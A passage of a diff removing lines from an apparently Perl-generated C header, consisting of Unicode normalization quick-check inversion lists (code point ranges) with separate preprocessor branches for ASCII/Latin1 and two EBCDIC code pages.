0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB20, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB4F, - 0x1109A, - 0x1109B, - 0x1109C, - 0x1109D, - 0x110AB, - 0x110AC, - 0x1112E, - 0x11130, - 0x1134B, - 0x1134D, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x115BA, - 0x115BC, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x2F800, - 0x2FA1E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NFDQC__Y_invlist[] = { /* for EBCDIC 1047 */ - 467, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x59, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x8D, - 0x8E, - 0xBA, - 0xBB, - 0xCB, - 0xD0, - 0xDB, - 0xE0, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x110, - 0x112, - 0x126, - 0x128, - 0x131, - 0x134, - 0x138, - 0x139, - 0x13F, - 0x143, - 0x149, - 0x14C, - 0x152, - 0x154, - 0x166, - 0x168, - 0x17F, - 0x1A0, - 0x1A2, - 0x1AF, - 0x1B1, - 0x1CD, - 0x1DD, - 0x1DE, - 0x1E4, - 0x1E6, - 0x1F1, - 0x1F4, - 0x1F6, - 0x1F8, - 0x21C, - 0x21E, - 0x220, - 0x226, - 0x234, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37E, - 0x37F, - 0x385, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x391, - 0x3AA, - 0x3B1, - 0x3CA, - 0x3CF, - 0x3D3, - 0x3D5, - 0x400, - 0x402, - 0x403, - 0x404, - 0x407, - 0x408, - 0x40C, - 0x40F, - 0x419, - 0x41A, - 0x439, - 0x43A, - 0x450, - 0x452, - 0x453, - 0x454, - 0x457, - 0x458, - 0x45C, - 0x45F, - 0x476, - 0x478, - 0x4C1, - 0x4C3, - 0x4D0, - 0x4D4, - 0x4D6, - 0x4D8, - 0x4DA, - 0x4E0, - 0x4E2, - 0x4E8, - 0x4EA, - 0x4F6, - 0x4F8, - 0x4FA, - 0x622, - 0x627, - 0x6C0, - 0x6C1, - 0x6C2, - 0x6C3, - 0x6D3, - 0x6D4, - 0x929, - 0x92A, - 0x931, - 0x932, - 0x934, - 0x935, - 0x958, - 0x960, - 0x9CB, - 0x9CD, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB48, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB94, - 0xB95, - 0xBCA, - 0xBCD, - 0xC48, - 0xC49, - 0xCC0, - 0xCC1, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xD4A, - 0xD4D, - 0xDDA, - 0xDDB, - 0xDDC, - 0xDDF, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF77, - 0xF78, - 0xF79, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x1026, - 0x1027, - 0x1B06, - 0x1B07, - 0x1B08, - 0x1B09, - 0x1B0A, - 0x1B0B, - 0x1B0C, - 0x1B0D, - 0x1B0E, - 0x1B0F, - 0x1B12, - 0x1B13, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B3E, - 0x1B40, - 0x1B42, - 0x1B43, - 0x1B44, - 0x1E00, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC1, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFE, - 0x2000, - 0x2002, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x219A, - 0x219C, - 0x21AE, - 0x21AF, - 0x21CD, - 0x21D0, - 0x2204, - 0x2205, - 0x2209, - 0x220A, - 0x220C, - 0x220D, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x2241, - 0x2242, - 0x2244, - 0x2245, - 0x2247, - 0x2248, - 0x2249, - 0x224A, - 0x2260, - 0x2261, - 0x2262, - 0x2263, - 0x226D, - 0x2272, - 0x2274, - 0x2276, - 0x2278, - 0x227A, - 0x2280, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x228A, - 0x22AC, - 0x22B0, - 0x22E0, - 0x22E4, - 0x22EA, - 0x22EE, - 0x2329, - 0x232B, - 0x2ADC, - 0x2ADD, - 0x304C, - 0x304D, - 0x304E, - 0x304F, - 0x3050, - 0x3051, - 0x3052, - 0x3053, - 0x3054, - 0x3055, - 0x3056, - 0x3057, - 0x3058, - 0x3059, - 0x305A, - 0x305B, - 0x305C, - 0x305D, - 0x305E, - 0x305F, - 0x3060, - 0x3061, - 0x3062, - 0x3063, - 0x3065, - 0x3066, - 0x3067, - 0x3068, - 0x3069, - 0x306A, - 0x3070, - 0x3072, - 0x3073, - 0x3075, - 0x3076, - 0x3078, - 0x3079, - 0x307B, - 0x307C, - 0x307E, - 0x3094, - 0x3095, - 0x309E, - 0x309F, - 0x30AC, - 0x30AD, - 0x30AE, - 0x30AF, - 0x30B0, - 0x30B1, - 0x30B2, - 0x30B3, - 0x30B4, - 0x30B5, - 0x30B6, - 0x30B7, - 0x30B8, - 0x30B9, - 0x30BA, - 0x30BB, - 0x30BC, - 0x30BD, - 0x30BE, - 0x30BF, - 0x30C0, - 0x30C1, - 0x30C2, - 0x30C3, - 0x30C5, - 0x30C6, - 0x30C7, - 0x30C8, - 0x30C9, - 0x30CA, - 0x30D0, - 0x30D2, - 0x30D3, - 0x30D5, - 0x30D6, - 0x30D8, - 0x30D9, - 0x30DB, - 0x30DC, - 0x30DE, - 0x30F4, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FE, - 0x30FF, - 0xAC00, - 0xD7A4, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB20, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB4F, - 0x1109A, - 0x1109B, - 0x1109C, - 0x1109D, - 0x110AB, - 0x110AC, - 0x1112E, - 0x11130, - 0x1134B, - 0x1134D, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x115BA, - 0x115BC, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NFDQC__Y_invlist[] = { /* for EBCDIC 037 */ - 467, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x59, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x8D, - 0x8E, - 0xAD, - 0xAE, - 0xCB, - 0xD0, - 0xDB, - 0xE0, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x110, - 0x112, - 0x126, - 0x128, - 0x131, - 0x134, - 0x138, - 0x139, - 0x13F, - 0x143, - 0x149, - 0x14C, - 0x152, - 0x154, - 0x166, - 0x168, - 0x17F, - 0x1A0, - 0x1A2, - 0x1AF, - 0x1B1, - 0x1CD, - 0x1DD, - 0x1DE, - 0x1E4, - 0x1E6, - 0x1F1, - 0x1F4, - 0x1F6, - 0x1F8, - 0x21C, - 0x21E, - 0x220, - 0x226, - 0x234, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37E, - 0x37F, - 0x385, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x391, - 0x3AA, - 0x3B1, - 0x3CA, - 0x3CF, - 0x3D3, - 0x3D5, - 0x400, - 0x402, - 0x403, - 0x404, - 0x407, - 0x408, - 0x40C, - 0x40F, - 0x419, - 0x41A, - 0x439, - 0x43A, - 0x450, - 0x452, - 0x453, - 0x454, - 0x457, - 0x458, - 0x45C, - 0x45F, - 0x476, - 0x478, - 0x4C1, - 0x4C3, - 0x4D0, - 0x4D4, - 0x4D6, - 0x4D8, - 0x4DA, - 0x4E0, - 0x4E2, - 0x4E8, - 0x4EA, - 0x4F6, - 0x4F8, - 0x4FA, - 0x622, - 0x627, - 0x6C0, - 0x6C1, - 0x6C2, - 0x6C3, - 0x6D3, - 0x6D4, - 0x929, - 0x92A, - 0x931, - 0x932, - 0x934, - 0x935, - 0x958, - 0x960, - 0x9CB, - 0x9CD, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB48, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB94, - 0xB95, - 0xBCA, - 0xBCD, - 0xC48, - 0xC49, - 0xCC0, - 0xCC1, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xD4A, - 0xD4D, - 0xDDA, - 0xDDB, - 0xDDC, - 0xDDF, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF77, - 0xF78, - 0xF79, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x1026, - 0x1027, - 0x1B06, - 0x1B07, - 0x1B08, - 0x1B09, - 0x1B0A, - 0x1B0B, - 0x1B0C, - 0x1B0D, - 0x1B0E, - 0x1B0F, - 0x1B12, - 0x1B13, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B3E, - 0x1B40, - 0x1B42, - 0x1B43, - 0x1B44, - 0x1E00, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC1, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFE, - 0x2000, - 0x2002, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x219A, - 0x219C, - 0x21AE, - 0x21AF, - 0x21CD, - 0x21D0, - 0x2204, - 0x2205, - 0x2209, - 0x220A, - 0x220C, - 0x220D, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x2241, - 0x2242, - 0x2244, - 0x2245, - 0x2247, - 0x2248, - 0x2249, - 0x224A, - 0x2260, - 0x2261, - 0x2262, - 0x2263, - 0x226D, - 0x2272, - 0x2274, - 0x2276, - 0x2278, - 0x227A, - 0x2280, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x228A, - 0x22AC, - 0x22B0, - 0x22E0, - 0x22E4, - 0x22EA, - 0x22EE, - 0x2329, - 0x232B, - 0x2ADC, - 0x2ADD, - 0x304C, - 0x304D, - 0x304E, - 0x304F, - 0x3050, - 0x3051, - 0x3052, - 0x3053, - 0x3054, - 0x3055, - 0x3056, - 0x3057, - 0x3058, - 0x3059, - 0x305A, - 0x305B, - 0x305C, - 0x305D, - 0x305E, - 0x305F, - 0x3060, - 0x3061, - 0x3062, - 0x3063, - 0x3065, - 0x3066, - 0x3067, - 0x3068, - 0x3069, - 0x306A, - 0x3070, - 0x3072, - 0x3073, - 0x3075, - 0x3076, - 0x3078, - 0x3079, - 0x307B, - 0x307C, - 0x307E, - 0x3094, - 0x3095, - 0x309E, - 0x309F, - 0x30AC, - 0x30AD, - 0x30AE, - 0x30AF, - 0x30B0, - 0x30B1, - 0x30B2, - 0x30B3, - 0x30B4, - 0x30B5, - 0x30B6, - 0x30B7, - 0x30B8, - 0x30B9, - 0x30BA, - 0x30BB, - 0x30BC, - 0x30BD, - 0x30BE, - 0x30BF, - 0x30C0, - 0x30C1, - 0x30C2, - 0x30C3, - 0x30C5, - 0x30C6, - 0x30C7, - 0x30C8, - 0x30C9, - 0x30CA, - 0x30D0, - 0x30D2, - 0x30D3, - 0x30D5, - 0x30D6, - 0x30D8, - 0x30D9, - 0x30DB, - 0x30DC, - 0x30DE, - 0x30F4, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FE, - 0x30FF, - 0xAC00, - 0xD7A4, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB20, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB4F, - 0x1109A, - 0x1109B, - 0x1109C, - 0x1109D, - 0x110AB, - 0x110AC, - 0x1112E, - 0x11130, - 0x1134B, - 0x1134D, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x115BA, - 0x115BC, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NFKCQC__N_invlist[] = { /* for ASCII/Latin1 */ - 499, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA0, - 0xA1, - 0xA8, - 0xA9, - 0xAA, - 0xAB, - 0xAF, - 0xB0, - 0xB2, - 0xB6, - 0xB8, - 0xBB, - 0xBC, - 0xBF, - 0x132, - 0x134, - 0x13F, - 0x141, - 0x149, - 0x14A, - 0x17F, - 0x180, - 0x1C4, - 0x1CD, - 0x1F1, - 0x1F4, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x386, - 0x387, - 0x388, - 0x3D0, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x587, - 0x588, - 0x675, - 0x679, - 0x958, - 0x960, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB5C, - 0xB5E, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x10FC, - 0x10FD, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E9A, - 0x1E9C, - 0x1F71, - 0x1F72, - 0x1F73, - 0x1F74, - 0x1F75, - 0x1F76, - 0x1F77, - 0x1F78, - 0x1F79, - 0x1F7A, - 0x1F7B, - 0x1F7C, - 0x1F7D, - 0x1F7E, - 0x1FBB, - 0x1FBC, - 0x1FBD, - 0x1FC2, - 0x1FC9, - 0x1FCA, - 0x1FCB, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD3, - 0x1FD4, - 0x1FDB, - 0x1FDC, - 0x1FDD, - 0x1FE0, - 0x1FE3, - 0x1FE4, - 0x1FEB, - 0x1FEC, - 0x1FED, - 0x1FF0, - 0x1FF9, - 0x1FFA, - 0x1FFB, - 0x1FFC, - 0x1FFD, - 0x1FFF, - 0x2000, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x309B, - 0x309D, - 0x309F, - 0x30A0, - 0x30FF, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NFKCQC__N_invlist[] = { /* for EBCDIC 1047 */ - 505, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0xA0, - 0xA1, - 0xB7, - 0xBA, - 0xBB, - 0xBD, - 0xBE, - 0xBF, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x132, - 0x134, - 0x13F, - 0x141, - 0x149, - 0x14A, - 0x17F, - 0x180, - 0x1C4, - 0x1CD, - 0x1F1, - 0x1F4, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x386, - 0x387, - 0x388, - 0x3D0, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x587, - 0x588, - 0x675, - 0x679, - 0x958, - 0x960, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB5C, - 0xB5E, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x10FC, - 0x10FD, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E9A, - 0x1E9C, - 0x1F71, - 0x1F72, - 0x1F73, - 0x1F74, - 0x1F75, - 0x1F76, - 0x1F77, - 0x1F78, - 0x1F79, - 0x1F7A, - 0x1F7B, - 0x1F7C, - 0x1F7D, - 0x1F7E, - 0x1FBB, - 0x1FBC, - 0x1FBD, - 0x1FC2, - 0x1FC9, - 0x1FCA, - 0x1FCB, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD3, - 0x1FD4, - 0x1FDB, - 0x1FDC, - 0x1FDD, - 0x1FE0, - 0x1FE3, - 0x1FE4, - 0x1FEB, - 0x1FEC, - 0x1FED, - 0x1FF0, - 0x1FF9, - 0x1FFA, - 0x1FFB, - 0x1FFC, - 0x1FFD, - 0x1FFF, - 0x2000, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x309B, - 0x309D, - 0x309F, - 0x30A0, - 0x30FF, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 